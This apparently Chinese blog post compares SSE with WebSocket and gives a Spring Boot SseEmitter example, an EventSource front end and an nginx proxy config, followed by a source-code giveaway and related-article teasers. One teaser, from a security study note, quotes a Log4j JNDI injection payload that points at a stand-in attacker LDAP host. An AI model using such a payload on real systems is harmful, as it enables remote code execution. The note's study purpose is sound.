WebSocket or SSE?即时通讯的应用策略【送源码】

Go语言一站式实战:从Web后端到AI-Agent开发全链路指南 Go语言以其简洁的语法和强大的并发模型,成为构建高性能后端服务的首选语言之一。其核心原理在于通过goroutine和channel实现轻量级并发,显著提升程序执行效率。在技术价值层面,Go不仅适用于传统的Web服务开发,更在微服务、云原生和实时通信等领域展现出独特优势。应用场景广泛覆盖电商系统、即时通讯、缓存中间件及新兴的AI应用后端。本文聚焦于Go实战开发,通过项目驱动的学习路径,系统讲解如何运用Go构建从基础CRUD到实时IM系统,再到集成Redis缓存与分布式锁的完整应用。特别深入探讨了Go在AI-A 阅读详情

 最近在研究H5推送,发现除了我们常用的WebSocket以外,其实还有一种协议也能实现H5推送,那就是SSE协议。

而且,当前主流的大模型平台,比如ChatGPT、通义千问、文心一言,对话时采用的就是SSE。

什么是SSE协议?

Server-Sent Events (SSE) 是一种基于HTTP协议的服务器到客户端的单向数据通信技术,允许服务器向浏览器实时推送更新,而不需要客户端通过轮询等方式反复请求数据。

SSE协议主要用于实现实时更新的Web应用,比如股票报价、新闻更新、社交网络的新消息通知等场景。

那么,同为H5推送的主流协议,SSE和WebSocket有什么区别?

SSE VS WebSocket

我们从以下几个方面来进行对比:

维度SSEWebSocket
协议原理基于HTTP/1.1,通过长连接实现服务器单向推送通过独立的WebSocket协议建立双向实时通信连接
易用性简单,前端使用EventSource对象即可相对复杂,需要更多的开发和配置工作
兼容性现代浏览器广泛支持同样广泛支持,但需注意旧版浏览器兼容性
通信方向单向(服务器→客户端)双向(服务器↔客户端)
事件驱动支持,事件数据可通过事件类型区分需自行在应用层实现
数据格式主要支持文本数据,可携带自定义元数据支持文本和二进制数据,格式灵活
连接管理浏览器自动处理连接恢复,可能面临连接断开问题开发者可全面控制连接状态和错误处理
资源效率长期无数据传输时可能出现连接中断,需重新连接建立连接后,资源消耗相对更低,无需频繁重建连接
缓存策略利用HTTP缓存策略需要开发者自行实现缓存策略

综合以上对比结果,若是H5动作较少的单向刷新场景,例如股价刷新、新闻动态等,建议选择SSE;若是在线协作、实时游戏等H5跟服务端交互较多的场景,建议使用WebSocket。

SSE实例

接下来,我们就用SpringBoot写一个SSE实例。

首先是服务端引入spring-boot-starter-web包,它自带支持SSE协议。

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>

接下来是创建SSE的Controller接口:

    package com.test.web;

    import lombok.extern.slf4j.Slf4j;
    import org.springframework.http.MediaType;
    import org.springframework.scheduling.annotation.Scheduled;
    import org.springframework.web.bind.annotation.GetMapping;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;
    import org.springframework.web.servlet.mvc.method.annotation.SseEmitter;

    import java.io.IOException;
    import java.util.HashMap;
    import java.util.Map;

    /**
     * SSE测试类
     */
    @Slf4j
    @RestController
    @RequestMapping("/sse")
    public class SseController {

        private static final Map<String, SseEmitter> map = new HashMap<>();

        @GetMapping(value = "/createSseEmitter", produces = MediaType.TEXT_EVENT_STREAM_VALUE)
        public SseEmitter createSseEmitter(String clientId) {
            SseEmitter emitter = new SseEmitter(0L);
            emitter.onCompletion(() -> map.remove(emitter));
            emitter.onTimeout(() -> map.remove(emitter));
            map.put(clientId, emitter);
            return emitter;
        }

        @Scheduled(fixedDelay = 1000) // 每隔5秒推送一次模拟数据
        public void pushDataToAllClients() {
            for (Map.Entry<String, SseEmitter> entry : map.entrySet()) {
                    try {
                        String data = "This is some updated data from server at " + System.currentTimeMillis();
                        entry.getValue().send(SseEmitter.event().name("message").data(data));
                    } catch (IOException e) {
                            log.error("Error sending data to client", e);
                    }
                }
        }
    }

然后是前端测试代码:

    <!DOCTYPE html>
    <html lang="en">
    <head>
      <meta charset="UTF-8">
      <title>实时股票价格监控</title>
    </head>
    <body>
    <h1>实时股票价格</h1>
    <div id="stock-price"></div>

    <script>
      const source = new EventSource('/sse/createSseEmitter?clientId=123456');
      source.onopen = function() {
                console.log('Connection to the server was opened.');
      };

      source.onmessage = function (event) {
         // document.getElementById('stock-price').innerHTML = event.data;
         const logItem = document.createElement('p');
         logItem.textContent = event.data;
         document.getElementById('stock-price').appendChild(logItem);
      };

      source.onerror = function(error) {
         console.error('Error occurred:', error);
                // 处理重连或其他错误逻辑
      };
    </script>
    </body>
    </html>

由于SSE不支持跨域,此处再加个NGINX代理:

    location /test {
        root /home;
    }
    location /sse {
        proxy_pass  http://10.10.2.100:8080;
        proxy_http_version 1.1; # 使用HTTP/1.1以支持长连接
        proxy_set_header Upgrade $http_upgrade; # 用于Websocket和SSE的Upgrade头
        proxy_set_header Connection "upgrade"; # 设置Connection头为upgrade,维持长连接
        proxy_set_header Host $host; # 传递原始Host头给后端
        proxy_cache_bypass $http_upgrade; # 忽略缓存,对于实时连接很重要
        proxy_read_timeout 60m; # 增加读取超时时间以适应长时间的SSE连接
    }

运行结果如下:

  -EOF-

 给大家分享一套基于Springboot+Vue的停车场管理系统源码,在实际项目中可以直接复用。(免费提供,文末自取)

一、系统运行图

1、登陆页面

2、车位管理

3、车辆进出管理

二、系统搭建视频教程

源码免费领取方式

扫码后台回复  停车场

从零开始学习 Go 1.25 编程 今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀 阅读详情

相关推荐

Go实战:实时推送系统设计

实时推送系统的核心在于连接生命周期管理。把Close做成幂等,让读写循环互为兜底,投递做非阻塞,goroutine泄漏这类问题就根除了。跨节点分发交给Redis PubSub,单机只管本地连接表,架构清晰且易扩容。心跳间隔和读超时要留足余量,移动网络抖动频繁,30秒心跳加90秒超时是经过验证的稳妥配置。

白话机器学习 207

前后端即时通讯的应用场景:WebSocket、SSE怎么选?【送源码】

Server-Sent Events (SSE) 是一种基于HTTP协议的服务器到客户端的单向数据通信技术,允许服务器向浏览器实时推送更新,而不需要客户端通过轮询等方式反复请求数据。SSE协议主要用于实现实时更新的Web应用,比如股票报价、新闻更新、社交网络的新消息通知等场景。那么,同为H5推送的主流协议,SSE和WebSocket有什么区别?

java_121388的博客 948

Spring WebFlux 响应式编程深度解析:从架构选型到核心抽象

本文深入探讨了响应式编程与传统编程在即时通讯系统开发中的核心差异。重点分析了Spring WebFlux的响应式特性: 编程范式对比:命令式vs声明式,阻塞vs非阻塞 架构优势:WebFlux在IM系统中的高并发处理能力 核心设计:DataBuffer接口的动态扩容、工厂模式和零拷贝特性 协议应用:HTTP和WebSocket的流式处理实现 思维转变:从拉取到推送的编程模式转换 文章揭示了响应式编程如何通过背压机制、事件循环等设计提升系统吞吐量,同时指出资源管理和错误处理等需要特别注意的方面。

qq_24992377的博客 293

websocket 拒绝连接原因_Web端即时通讯实践干货:如何让WebSocket断网重连更快速?...

“因微信内容审查原因,本文无法全文发布在公众号, 如需阅读全文,请前往即时通讯网(52im.net)社区:http://www.52im.net/thread-3098-1-1.html 或 文末点击“”,非常抱歉!一、正文引言在一个完善的即时通讯IM应用中,WebSocket是极其关键的一环,它为基于Web的即时通讯应用提供了一种全双工的通信机制。但为了提升IM等实际应用场景下的消息...

weixin_39629188的博客 858

【信息科学与工程学】【安全领域】第七十篇 负载均衡设备的主要算法01

每个服务器有一个对槽位的偏好排序, 调度器(表)需要为每个槽位分配一个服务器, 目标是整体上满足所有服务器的偏好(即均匀填充), 同时保持稳定性(变化小)。: 对于一个新到达的请求, 如果将其分配到当前有cj个请求(包括正在服务的)的服务器sj, 其期望等待时间为 (cj + 1) / μj。输入:服务器集群S={s1, s2, ..., sn}, 权重W={w1, w2, ..., wn}, 当前指针i。输出:选中的服务器sj。输入:服务器集群S, 各服务器当前活动连接数cj, 各服务器预设权重wj。

weixin_49199313的博客 527

基于C++与MFC的WebSocket服务端开发实战项目

虽然内部使用WM_SOCKET消息进行通知,但在复杂系统中往往需要自定义事件类型以解耦网络模块与UI逻辑。此时可借助ON_MESSAGE宏注册用户定义消息处理器。// 定义自定义消息// 在对话框类的消息映射中添加// 消息处理函数// 绿灯亮起AddLogEntry("已连接至服务器");break;// 注意内存释放break;AddLogEntry("网络错误: " + *pData);break;return 0;

weixin_42146230的博客 1064

H5即时通讯群聊系统架构解析:从源码到无限建群的技术实现

基于火山引擎豆包大模型,从零搭建一个实时语音通话应用。它不是简单的问答,而是需要你亲手打通 ASR(语音识别)→ LLM(大脑思考)→ TTS(语音合成)的完整 WebSocket 链路。对于想要掌握 AI 原生应用架构的同学来说,这是个绝佳的练手项目。架构理解:掌握实时语音应用的完整技术链路(ASR→LLM→TTS)技能提升:学会申请、配置与调用火山引擎AI服务定制能力:通过代码修改自定义角色性格与音色,实现“从使用到创造”从0到1构建生产级别应用,脱离Demo,点击打开。

2600_94960224的博客 696

Chatcord 实时通讯应用源码深度剖析

本文还有配套的精品资源,点击获取 简介:Chatcord是一个实时通讯应用,其开源代码对理解和学习即时通讯系统的设计和实现有着极高的价值。源码的分析可以帮助开发者深入掌握实时通信协议、前端技术栈、后端架构、数据库设计、身份验证与授权、消息队列、API设计、安全性、测试与调试、部署与运维、用户界面设计、性能优化、错误跟踪、实时同步算法、推送通知等多个IT知识点,为自己的项目提...

weixin_35391606的博客 1044

Centrifugo实时通知系统:构建高到达率的多渠道消息推送平台

你是否还在为实时消息推送的高延迟、低到达率而困扰?是否需要一个既能支持WebSocket又能兼容HTTP的多渠道消息系统?Centrifugo作为开源的实时消息服务器,可帮助开发者快速构建高并发、低延迟的实时通知平台,支持WebSocket、HTTP流、Server-Sent Events等多种传输协议,轻松应对直播弹幕、实时监控、即时通讯等场景。 ## 核心优势:为什么选择Centrifugo

gitblog_00854的博客 871

基于JavaScript的聊天API开发实战项目

聊天API(Chat API)是一组用于实现即时消息传递功能的编程接口,它允许开发者在应用中集成实时通信能力。其核心技术包括消息收发、会话管理、用户状态同步和安全传输机制。典型的聊天API支持RESTful请求进行配置操作,并通过WebSocket或SSE协议实现双向实时通信。接口方法路径功能说明认证要求用户注册POST创建新用户无需认证用户登录POST验证凭据并返回Token无需认证获取当前用户GET/auth/me。

weixin_42443533的博客 1120

ESP32 LVGL开发板例程使用记录:自制常用汉字字库(二)

1、将下载的文件移入工程文件中 ,路径为项目文件中 ”......\lib\lvgl\src\font“文件夹下。3、修改字库配置文件,文件名为lv_conf.h中的内容,向其中加入下面内容(位置可搜索注释块来找到地方)修改完成可以编译试试,看是否成功,如字库较大时编译出错,请使能:LV_FONT_FMT_TXT_LARGE。2、打开此文件,修改包含头文件的路径,不然会报错,修改方法可对照自己库中其他字库文件中的包含路径。导入完成后在VSCode工程中可以查看到此文件。上次说完了如何制作 字库.c 文件。

qq_43279097的博客 1960

转转客服IM聊天系统背后的技术挑战和实践分享

在当今互联网时代,高效的用户服务是提升用户体验的关键。转转自研的客服IM聊天系统作为用户与客服沟通的桥梁,承担着传递信息、解决问题的关键角色。然而,消息数据的流转并非一帆风顺,本文将深入探讨IM系统在消息传递过程中遇到的问题和挑战,以及相应的技术解决方案。

hellojackjiang2011的博客 1096

python爬取银行年报2

python爬取公司年报(巨潮资讯网)

bboysteed的博客 4731

2026年AI时代程序员面试:50个必考知识点全解析,掌握这些才能拿到Offer

本文系统梳理2026年程序员面试50个必考知识点,覆盖算法数据结构、系统设计、数据库、并发编程、网络、操作系统及AI时代新增考察点。

热爱技术与前沿创新,深耕科技领域,在科创中精进自我;探索技术乐趣,分享技术干货与成长心得,以技术为伴,热爱生活,在科创与生活中双向成长。 265

【无人机路径规划】基于强化学习实现多无人机路径规划

【无人机路径规划】基于强化学习实现多无人机路径规划

k8291121的博客 1659

BiSeNet:面向实时语义分割的双边网络

BiSeNet 系列重新定义了实时语义分割的范式“不要在速度和精度之间妥协——用架构创新,两者兼得。V1:提出双边解耦思想,启发后续大量工作;V2:通过极致轻量化,证明小模型也能高精度;V3(工业版):推动端侧 AI 落地,成为行业标准之一。如今,BiSeNet 已成为嵌入式视觉系统的默认选择,其设计理念(解耦、轻量、融合)被广泛应用于目标检测、姿态估计等领域。

浩瀚之水的专栏 268

[学习笔记]超越超级大循环与原生RTOS:事件驱动架构如何改变嵌入式固件的可扩展性

RTC:事件处理器一旦开始,全部状态迁移、进出动作、输出事件必须全部执行完毕才返回;同一个组件,当前处理没结束,不会开始下一条事件。这不是架构给状态机额外施加的限制,这是UML状态图等全部状态机形式化本身固有的语义要求。如果迁移中途可以被打断,状态机会停留在未定义的中间状态。RTC保证两次事件之间,状态机永远处于明确定义的合法状态,便于分析与测试。

MiKiJT的博客 238

揭秘AI人工智能中Stable Diffusion的模型微调技巧

Stable Diffusion作为一种强大的文本到图像生成模型,在艺术创作、设计、娱乐等多个领域展现出了巨大的应用潜力。然而,其默认的模型输出可能无法满足特定用户或特定场景的个性化需求。本文章的目的在于深入揭秘Stable Diffusion的模型微调技巧,让读者能够根据自己的需求对模型进行定制化调整,生成符合特定风格、主题或要求的图像。范围涵盖了从基础概念到实际操作,从理论原理到项目实战的全方位内容,旨在为读者提供一个系统且深入的学习指南。

大模型应用工坊 950

带着小白学习-微服务-6 实战:网关

地址栏输入:http://localhost:8088/goods/index,这时候就不是到8100端口去调用了,而是8088直接通过路由转发,分别到nacos对应的goods对应的服务中区调用。** 可以看出,这里将前面已经正常运行的server-store子工程(库存服务,服务提供方),server-goods子工程(商品服务,服务消费方)。(1)uri: lb://store 代表要到nacos的注册中心的服务列表中找到服务名为store的微服务;,网关是做路由转发,不是服务调用;

wdyan297的博客 241

静态时序分析(STA)—— 标准单元库

目录 1、时序库 概览 2、时序模型 1、基本概念 2、影响因素 3、线性延时模型 4、非线性延时模型 5、单元时序弧 1、组合逻辑单元 2、时序逻辑单元 6、线负载模型 参考说明 上一篇,学习了 STA相关的基本概念,本篇继续学习 STA相关的 标准单元库。 1、时序库 概览 库文件概览: 2、时序模型 1、基本概念 2、影响因素 对于组合逻辑的时序弧而言,其延时的大小取决于: 1、输出负载,即,输出端的电容负载的大小。容性负载越大,...

记录所学,分享知识,结识挚友 2855

基于单片机的智能温控风扇设计

该智能温控风扇系统的设计目标是根据环境温度自动控制风扇的转速或开关状态,确保用户始终处于舒适的温度范围内。实时温度监测:通过温度传感器(如DS18B20或DHT22)实时监控环境温度。风扇控制:根据温度变化自动调节风扇的转速,温度过高时风扇加速,温度适中时风扇转速降低,达到节能与舒适平衡。LCD显示:通过LCD屏幕实时显示温度信息。无线通信:通过Wi-Fi或蓝牙模块将温度数据发送至手机或云平台,支持远程控制风扇的开关或调节转速。报警功能:温度过高或过低时,蜂鸣器发出警报,提示用户注意。

2201_76125393的博客 1168

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 214

华为od 面试八股文_JAVA语言_01_含答案

华为od 面试八股文_JAVA语言_01_含答案

MISAYAONE的博客 4319

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 369

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 176

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

上一篇: 私活更好用:SpringBoot开源项目!!【送源码】
下一篇: 学习神器:IDEA 源码阅读器!!【送源码】
架构文摘JGWZ
博客等级 码龄5年 8808粉丝 345原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值